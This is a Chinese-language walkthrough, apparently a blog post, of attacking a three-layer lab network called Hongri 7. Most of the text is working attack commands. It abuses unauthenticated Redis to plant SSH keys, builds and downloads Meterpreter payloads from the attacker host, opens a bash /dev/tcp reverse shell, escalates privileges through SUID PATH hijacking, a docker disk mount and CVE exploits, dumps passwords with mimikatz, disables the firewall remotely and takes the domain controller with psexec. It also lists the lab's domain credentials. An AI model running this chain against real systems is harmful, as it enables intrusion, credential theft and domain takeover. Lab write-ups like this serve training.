打穿内网三重奏-红日7

靶机下载地址:

漏洞详情 (qiyuanxuetang.net)

攻击链路:

DMZ区IP段为192.168.11.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24

这里DMZ和攻击者我用的是192.168.11.1 这个网段,其他不变

这里我加了两张虚拟网卡,分别是52和93网段,在其他机器上增添一张网卡即可

环境配置:

域账户账号密码:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260

第一层网络DMZ区的 Ubuntu(web1) 需要启动redis和nginx服务:

sudo redis-server /etc/redis.confsudo /usr/sbin/nginx -c /etc/nginx/nginx.confsudo iptables -F

第二层网络的 Ubuntu(web2)需要启动docker容器:

sudo service docker startsudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

启动时会弹出一个需要输入账号密码,输入域管的账号密码即可,Administrator:Whoami2021

打开配置完成的页面:

一.信息收集:

nmap -T4 -A -v 192.168.11.1/24

发现新的IP:

进一步进行端口扫描:

nmap -sT -p1-65535 192.168.11.152

显然发现6379端口极为显眼,这个端口是基于Redis的服务,可能有未授权。

Redis未授权访问是因为一些Redis服务绑定到公共接口,甚至没有密码身份验证保护,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),而又暴露在公网上,这样就会导致任意用户在可以访问此公网的情况下未授权访问Redis以及读取Redis的数据。

那么验证一下,是否有未授权

先连接目标机器的Redis的服务:

redis-cli -h 192.168.11.152

输入info看是否有回显

直接爆出一堆信息,包有未授权的

有了未授权,并且目标还开启了22端口,那么想办法获取目标机器权限,这里使用写入公钥

首先生成公钥:

ssh-keygen -t rsa

因为这里我之前生成过公钥,所以没有显示

将公钥写入文本:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将公钥导入到目标机器的Redis:

cat key.txt | redis-cli -h 192.168.11.152 -x set xxx

连接Redis,将公钥写入目标主机:

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/config set dbfilename authorized_keys # 设置保存文件名为authorized_keyssave # 将数据保存在目标服务器硬盘上

那么,这里可以直接ssh连接了,根本不需要再输入账号和密码了,因为本地有私钥,直接就可以连接

ssh root@192.168.11.152

连接成功

查看主机信息:

ifconfig

发现了52这个网段,因为需要继续往里打,这里我选择上线MSF,MSF里面利用漏洞模块比较多,比较方便

MSF先生成木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5555 -f elf > shell.elf

木马生成,那必须要进行上传到目标机器,这里的目标机器可以与攻击机器相通信,那么开放攻击机器的http服务,让目标机器远程下载木马

python -m http.server 8000

目标机器下载:

wget http://192.168.11.128:8000/shell.elf

给木马一个可执行权限:

chmod +x shell.efl

在启动木马之前,MSF先建立一个监听:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp   
set lhost 192.168.11.128
set lport 5555
run

目标机器执行木马

成功上线

这里需要继续往里打,攻击机器无妨访问内网,那么直接添加路由,使攻击机可以触摸到对方内网

run get_local_subnets
run post/multi/manage/autoroute

成功添加路由

这里就可以开始考虑如何进攻内网了,之前扫端口的时候发现还有80和81端口,访问一下,看一下情况

第一个80端口

502,不让访问,并且发现是NGINX

那么打开81端口

发现是一个Larabel框架Laravel v8.29.0 (PHP v7.4.14),我之前也没见过,百度搜一下,还真有漏洞,CVE-2021-3129

感兴趣的可以搜一下看一下,这里我直接用工具梭哈了

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git

这里直接写入了webshell,注意这里需要使用老板的哥斯拉连接,因为新版的加密方式变了不支持

Releases · BeichenDream/Godzilla (github.com)

选择Godzilla-V1.10下载

连接:

这老板本的看的是真不得劲,这里我建了一个反弹连接

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8848

 ubuntu监听:

nc -lvp 8848

这里是普通权限,肯定要提权,这里进行一波信息收集,在查看主机的时候

发现一堆数字和字母,啥情况,接下来进行测试,发现是docker环境,要提权,猜测有没有docker逃逸漏洞

cat /proc/self/cgroup 

接下来进行提权,查找给了SUID4000权限的控制参数

find / -perm -u=s -type f 2>/dev/null

发现一个shell,进入目录,尝试运行

在运行shell的时候,它调用了ps进程,那么这里可以将ps修改为root权限,并且写入到环境变量,当一运行shell的时候,自动执行ps进程,那么可以直接得到root权限

环境变量提权:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

提权成功

来一个tty交互:

python -c 'import pty; pty.spawn("/bin/bash")'

这里还处于docker环境,下一步获取主机权限

在docker创建wq目录来挂载文件:

mkdir wqmount /dev/sda1 wqls wq

然后再web1上生成密钥:

ssh-keygen -f wqchmod 777 wq

继续生成rsa秘钥:

ssh-keygen -t rsacat /root/.ssh/id_rsa.pub

我们将wq.hub中的密钥写入/wq/home/ubuntu/.ssh/authorized_keys中:

公钥写入web2:即docker环境

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSIsKvoCpk7ywLUjZDfLLJxsfZrIfiU/Rqhf1khtwxNNJF2yiF3rCj606FieM7MAtVjvNCz8VVgEtXM6IjHGzi/OpP+8ig2tLmm0lCvNbJxtzCBoslP59SxukhQPSf7bAwelVz/Old1Uh6zECBcKrzKNkXClTkS3rkZkqDv4HCknkQKkyDISuXT6h/XPmlh5Ulr8T2tPy58WX1A/wzq75JgKc8gQLz8wuM+MI1B8r/2pRCTHZmgU2OOatucLRBlNkqbbZPI162tnqtufvHv558qJeTMim8F/3BasSl6FXd2fYX2+3Gm6HXHcZKg8SIlbJPIbti+ch5LbRylOMb523B root@ubuntu' > wq/home/ubuntu/.ssh/authorized_keys

docker查看是否写入成功:

cat wq/home/ubuntu/.ssh/authorized_keys

成功

这里就可以用web1的ssh连接web2了

ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20

这里可能会有疑问,为什么这台机器就可以确定是192.168.52.20这台机器

在web1中进行信息收集的时候,在访问80端口的时候,访问出错,并且是nginx,这里查看nginx的配置

cd /etc/nginx/conf.d/
cat 80.conf
cat 81.conf

这里可以看到这个web1开启了流量转发,80端口转发到了WHOAMI这个地址,而81端口则转发到了http://192.168.52.20:8000这个地址,这里可以确定IP

这里获取到了web2机器的权限,但是权限太低,还是要提权

查看ubuntu版本:

uname -a

发现linux的版本是14.04  ,网上找一下这个版本有没有漏洞,还真有此版本存在CVE-2021-3493漏洞

这里使用脚本一键提权,地址:

GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

touch exploit.c
vim exploit.c                  //粘贴POC
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit

成功提权

继续上线MSF,MSF生成木马并且监听:

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.52.20
set LPORT 6666
run

web2远程下载生成的木马,并运行:

成功上线

信息收集查看网段:

又发现了一个新网段,93网段,还是先添加路由

run get_local_subnets
run post/multi/manage/autoroute

至此拿下了两台web服务

这里拿下了web2,首先要进行一波信息收集,这里不知道52网段和93网段都有哪些机器,那势必要进行主机发现和端口扫描,在此之前建立一个隧道

搭建隧道:这里使用的是ew代理工具

idlefire/ew: 内网穿透(跨平台) (github.com)

kali操作:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

目标机器下载EW:(web1)

./ew_for_linux64 -s rssocks -d 192.168.11.128 -e 1234

将socks5的服务器指向127.0.0.1:1080:(kali)

vim /etc/proxychains4.confsocks5 127.0.0.1 1080

完成以后返回MSF,开始52网段的扫描:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

最后发现还有一台主机 192.168.52.30

对于这台主机,进行单一扫描:

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

直接扫出一堆端口,开了8080端口的http服务,并且135和449端口都开了并且还是Windows,那么大概率是有永恒之蓝漏洞的,但是对方开了防火墙,大概率打不进去,那么只能看看http服务有什么了

火狐浏览器配置好代理访问目标端口

查看源码,是通达OA

这里我是用的漏扫工具,我在物理机上线配置了全局代理,才能访问目标内网,进行漏扫

这里的漏扫工具可以去网上找,一大堆的,这里不再提供

这里直接利用了,我用蚁剑连接:注意配置代理

发现这台主机也有93网段,我直接传fscan扫描

Releases · shadow1ng/fscan (github.com)

fscan64.exe -h 192.168.93.1/24 >2.txt

直接发现了192.168.93.30是一台Windows server 机器,并且名字还是DC,有永恒之蓝漏洞,没跑了,拿下30机器,就拿下了域控

扫描发现域控有永恒之蓝,这里从这个方向入手

我先将这台Windows机器上线MSF,上线PC1:

kali监听:

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exeuse exploit/multi/handlerset payload windows/meterpreter/bind_tcpset lport 4444set RHOST 192.168.52.30
run

木马建立好,直接通过蚁剑上传,并且运行

成功上线

信息收集:

net view

#查询域控在哪里?(得域控IP)

nslookup -type=SRV ldap._tcp

#查询域中一共有多少个用户

net user /domain

#net user 查看本地用户

#查询域中一共多少个电脑

net group "domain computers" /domain

#查询域控的名字

net group "Domain Controllers" /domain

在进行一波信息收集之后发现 93.30机器就是域控DC

使用MSF的模块抓密码:这里要迁移进程,因为抓密码需要64位

load kiwi
kiwi_cmd privilege::debug
ps
migrate 332
kiwi_cmd sekurlsa::logonpasswords

直接抓到了明文密码:

接下来就简单了,横向移动,上线域控,这里有很多方式横向,比如白银票据,黄金票据,wmic横向,IPC横向等等等等,这里我选最简单的,傻瓜式操作,直接用MSF的模块一键上线

在此之前先在域控建立一个IPC连接先关闭防火墙:(蚁剑执行)

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

使用MSF的psexec模块横向,上线域控:

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021

成功上线

这里还有一台机器没有上线,都拿下域控了,剩下那台机器还能拿不下吗,这里不再演示

到此三层内网拿下

其实这里还可以上线CS,CS用起来比MSF更直接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/69770.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学习笔记-人脸识别相关编程基础

通过编程实现人脸识别功能,需要掌握一定的技术基础,包括编程语言、图像处理、机器学习以及相关的库和框架: 1. 编程语言 Python:Python 是实现人脸识别最常用的语言之一,因为它有大量的库和框架支持,如 Op…

LeetCode题解:2690. 无穷方法对象,Proxy

Problem: 2690. 无穷方法对象 思路 这个问题的核心在于创建一个对象,该对象能够响应对其任何方法的调用,并返回调用的方法名称。为了实现这一点,我们可以利用 JavaScript 中的 Proxy 对象。Proxy 对象允许我们自定义对象的基本操作&#xff…

Vue.js 在低代码开发平台中的应用与优化

Vue.js 在低代码开发平台中的应用与优化 在数字化转型的进程中,低代码开发平台成为了企业快速构建应用的得力助手。而 Vue.js 作为一款广受欢迎的前端框架,在低代码开发平台中发挥着举足轻重的作用。它不仅提升了开发效率,还优化了应用的用户…

【CodePen实战:撤销重做功能全记录】

🛠️ CodePen实战:撤销重做功能全记录 🌟 目录 🚨 真实报错全记录 - 那些折磨我的Bug🏗️ 极简架构设计 - 适合实验项目的结构🧩 模块实现细节 - 关键代码解析🚑 急救方案 - 快速Debug技巧 &a…

QML 快捷键与Shortcut的使用

一、效果展示 二、源码分享 import QtQuick import QtQuick.Controls import Qt.labs.qmlmodels import QtQuick.Controls.Basic import QtQuick.Layouts import QtQuick.Effects import Qt.labs.platformApplicationWindow {id:rootwidth: 1000height: 730visible: truetitle…

RocketMQ和Kafka如何实现顺序写入和顺序消费?

0 前言 先说明kafka,顺序写入和消费是Kafka的重要特性,但需要正确的配置和使用方式才能保证。本文需要解释清楚Kafka如何通过分区来实现顺序性,以及生产者和消费者应该如何配合。   首先,顺序写入。Kafka的消息是按分区追加写入…

【南方Cass】快捷键0002:合并多段线

快捷键:JOIN 按下快捷键JOIN,然后选择需要合并的对象(多段线),按下回车即可完成合并。

HTML之JavaScript变量和数据类型

HTML之JavaScript变量和数据类型 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</titl…

Qt的isVisible ()函数介绍和判断窗口是否在当前界面显示

1、现象&#xff1a;当Qt的窗口最小化时&#xff0c;isVisible值一定是true&#xff0c;这是正常的。 解释&#xff1a;在Qt中&#xff0c;当你点击窗口的最小化按钮时&#xff0c;Qt内部不会自动调用 hide() 方或 setVisible(false) 来隐藏窗口。相反&#xff0c;它会改变窗口…

【愚公系列】《Python网络爬虫从入门到精通》007-请求模块requests高级应用(Reguests-HTML)

标题详情作者简介愚公搬代码头衔华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,亚马逊技领云博主,51CTO博客专家等。近期荣誉2022年度…

【虚幻引擎UE】UE4.23到UE5.5的核心功能变化

简单总结从UE4.23到UE5.5&#xff0c;虚幻引擎的重大变化&#xff1a; 1. WebGL/HTML5 平台支持和像素流 UE4.23-UE4.25&#xff1a;移除官方HTML5支持&#xff0c;改为社区插件维护。 但通过第三方插件&#xff08;如WebAssemblyWebGPU&#xff09;可在浏览器运行部分项目。U…

win10 离线安装openssh.server

在 Windows 10 上离线安装 OpenSSH Server 可以通过手动安装的方式来达成&#xff0c;因为 OpenSSH 默认并不包含在 Windows 10 的可选功能中。以下是一些步骤来帮助你手动安装 OpenSSH Server&#xff1a; 方法一&#xff1a;使用 PowerShell 安装 启用管理员权限的 PowerShe…

在Vue中,JavaScript数组常用方法,添加,插入,查找,删除等整理

在Vue中&#xff0c;JavaScript数组常用&#xff0c;添加&#xff0c;插入&#xff0c;查找&#xff0c;删除等整理 1.splice()方法可以直接修改原数组&#xff0c;通过指定要删除元素的索引来删除它。 例&#xff1a; let index // 要删除的元素的索引; this.array.splice(i…

【AI论文】CodeI/O: 通过代码输入输出预测来提炼推理模式

摘要&#xff1a;推理是大型语言模型的一项基本能力。尽管先前的研究主要集中在提升如数学或代码生成等狭窄领域的技能&#xff0c;但由于训练数据稀疏且分散&#xff0c;在许多其他推理任务上提高性能仍然具有挑战性。为了解决这个问题&#xff0c;我们提出了CodeI/O&#xff…

AI编程01-生成前/后端接口对表-豆包(或Deepseek+WPS的AI

前言: 做过全栈的工程师知道,如果一个APP的项目分别是前端/后端两个团队开发的话,那么原型设计之后,通过接口文档进行开发对接是非常必要的。 传统的方法是,大家一起定义一个接口文档,然后,前端和后端的工程师进行为何,现在AI的时代,是不是通过AI能协助呢,显然可以…

热更图片方案

项目平常需要对线上一些图片资源修正&#xff0c;所以需要热更图片功能。 远端入口新增字段配json文件 {"1.1.22030303":{"sprite":{"assets/ui/common/images/acient_gold.png" : "https://aaaa.png","assets/ui/common/image…

24电子信息类研究生复试面试问题汇总 电子信息类专业知识问题最全!电子信息复试全流程攻略 电子信息考研复试真题汇总

你是不是在为电子信息考研复试焦虑&#xff1f;害怕被老师问到刁钻问题、担心专业面答不上来&#xff1f;别慌&#xff01;作为复试面试92分逆袭上岸的学姐&#xff0c;今天手把手教你拆解电子信息类复试通关密码&#xff01;看完这篇&#xff0c;让你面试现场直接开大&#xf…

PortSwigger——WebSockets vulnerabilities

文章目录 一、WebSockets二、Lab: Manipulating WebSocket messages to exploit vulnerabilities三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities四、Using cross-site WebSockets to exploit vulnerabilities4.1 跨站WebSocket劫持&#xff08;cro…

Dockerfile 详解:构建自定义镜像

Dockerfile 是一种文本文件,包含了一系列指令,用于描述如何构建一个 Docker 镜像。通过 Dockerfile,我们可以将应用程序及其所有依赖打包成镜像,确保应用在不同环境中运行时保持一致性。掌握 Dockerfile 的写法和最佳实践,能够帮助我们高效地构建和管理容器镜像。 本文将…

机器视觉中的3d和2d的区别

在机器视觉中&#xff0c;3D和2D的主要区别体现在数据的维度、处理方式及应用场景上。以下是具体对比&#xff1a; 数据维度 2D视觉 &#xff1a;处理二维图像&#xff0c;仅包含宽度和高度信息&#xff0c;通常以像素矩阵表示。 3D视觉 &#xff1a;处理三维数据&#xff0c;…